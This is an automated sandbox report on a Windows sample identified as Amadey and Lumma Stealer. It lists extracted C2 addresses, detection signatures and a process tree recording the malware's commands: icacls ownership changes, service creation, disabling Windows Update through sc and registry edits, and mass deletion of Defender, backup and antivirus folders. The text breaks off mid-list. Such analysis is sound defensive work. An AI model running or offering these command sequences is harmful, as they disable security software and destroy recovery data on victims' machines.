Overview

overview

10

Static

static

3

jaffacakes...55.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/09/2026, 21:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    jaffacakes118_2dfeeb4b4a2942fc14cafd61b4763bbde233c10797275e69f19b9f7fc3adfb55.exe
  • Size 4.0MB
  • Sample260911-1e4msseb85
  • SHA256 2dfeeb4b4a2942fc14cafd61b4763bbde233c10797275e69f19b9f7fc3adfb55
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
fbf543defense_evasiondiscoveryexecutionamadeylummapersistencestealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://washerv.ru/qygd

  • https://mastwin.in/qsaz

  • https://noggs.ru/yopd

  • https://georgej.ru/plnb

  • https://oneflof.ru/tids

  • https://epitherd.ru/zadw

  • https://backab.ru/lkdo

  • https://eigwos.ru/wqex

  • https://kimmenkiz.ru/zldw

Attributes
  • build_id

    a3230b4aa8d32d0145479af1af2ea789b49f5c28

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • NirSoft NirCmd 1 IoCs

    NirCmd is a lightweight Windows command-line tool for automating system tasks

  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 52 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 10 IoCs
  • Modifies file permissions 1 TTPs 9 IoCs
    discovery
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 17 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 26 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 29 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: LoadsDriver 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2dfeeb4b4a2942fc14cafd61b4763bbde233c10797275e69f19b9f7fc3adfb55.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2dfeeb4b4a2942fc14cafd61b4763bbde233c10797275e69f19b9f7fc3adfb55.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3248
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3440
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          PID:4464
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4112
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          PID:812
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1552
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          PID:1120
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2484
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:2028
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe" -StartupType Automatic"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe" -StartupType Automatic"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4644
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c net start "DownloaderService"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\SysWOW64\net.exe
          net start "DownloaderService"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5040
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 start "DownloaderService"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1896
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3772
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\winloghelper.exe
          "C:\Windows\winloghelper.exe"
          4⤵
          • Executes dropped EXE
          PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Windows\systemhelper.exe
          "C:\Windows\systemhelper.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4484
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rNsYaA4.bat" "
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1304
            • C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
              nircmd win min process "cmd.exe"
              6⤵
              • Executes dropped EXE
              PID:1592
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3084
            • C:\Windows\SysWOW64\reg.exe
              reg query "HKU\S-1-5-19"
              6⤵
                PID:1820
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:4696
              • C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\rNsYaA4.bat" any_word
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4228
              • C:\Windows\SysWOW64\mode.com
                Mode 79,49
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1236
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ver
                6⤵
                • Executes a command shell one-liner
                • System Location Discovery: System Language Discovery
                PID:3752
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1524
              • C:\Windows\SysWOW64\find.exe
                find /i "0x0"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4252
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c tasklist
                6⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4760
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  7⤵
                  • Discovers running processes
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2904
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1968
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                6⤵
                  PID:2592
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:4552
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\Sense"
                  6⤵
                    PID:4656
                  • C:\Windows\SysWOW64\reg.exe
                    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                    6⤵
                      PID:4372
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                      6⤵
                        PID:1744
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                        6⤵
                        • System Location Discovery: System Language Discovery
                        PID:4200
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                        6⤵
                        • System Location Discovery: System Language Discovery
                        PID:2028
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                        6⤵
                          PID:2136
                        • C:\Windows\SysWOW64\reg.exe
                          reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                          6⤵
                            PID:1632
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:4776
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:2024
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:2788
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                            6⤵
                              PID:4080
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                              6⤵
                                PID:4736
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:1572
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" ver "
                                6⤵
                                  PID:2812
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /c:"6.1.7601"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1544
                                • C:\Windows\SysWOW64\reg.exe
                                  reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2172
                                • C:\Windows\SysWOW64\find.exe
                                  find /i "Windows 7"
                                  6⤵
                                    PID:1568
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg query HKLM\System\CurrentControlset\Services\WdFilter
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    • Modifies registry key
                                    PID:2276
                                  • C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                    7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2540
                                  • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                    game.exe /CurrentDiskSize
                                    6⤵
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    PID:3192
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                      7⤵
                                      • Executes a command shell one-liner
                                      PID:1148
                                      • C:\Windows\system32\sc.exe
                                        sc query IObitUnlocker
                                        8⤵
                                        • Launches sc.exe
                                        PID:1408
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3192"
                                      7⤵
                                      • Executes a command shell one-liner
                                      PID:2252
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /f /pid "3192"
                                        8⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4604
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc stop wuauserv
                                    6⤵
                                    • Launches sc.exe
                                    PID:624
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config wuauserv start= disabled
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:4680
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc stop dosvc
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:1884
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config dosvc start= disabled
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:4768
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc stop bits
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:4512
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config bits start= disabled
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:3420
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc stop UsoSvc
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:1008
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config UsoSvc start= disabled
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:3004
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc stop WaaSMedicSvc
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:3488
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config WaaSMedicSvc start= disabled
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:1848
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1896
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4280
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                    6⤵
                                      PID:3852
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                      6⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3800
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                      6⤵
                                        PID:4988
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4064
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:3344
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg unload HKLM\TEMP_SYSTEM
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3540
                                      • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                        game /delwd
                                        6⤵
                                        • Sets service image path in registry
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3424
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:2292
                                          • C:\Windows\system32\sc.exe
                                            sc query IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:4532
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:1500
                                          • C:\Windows\system32\sc.exe
                                            sc stop IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:1580
                                          • C:\Windows\system32\sc.exe
                                            sc delete IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:2016
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3424"
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:2124
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /f /pid "3424"
                                            8⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4148
                                      • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                        game /DelWD
                                        6⤵
                                        • Sets service image path in registry
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4672
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                          7⤵
                                          • Executes a command shell one-liner
                                          PID:4140
                                          • C:\Windows\system32\sc.exe
                                            sc query IObitUnlocker
                                            8⤵
                                            • Launches sc.exe
                                            PID:4228
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise 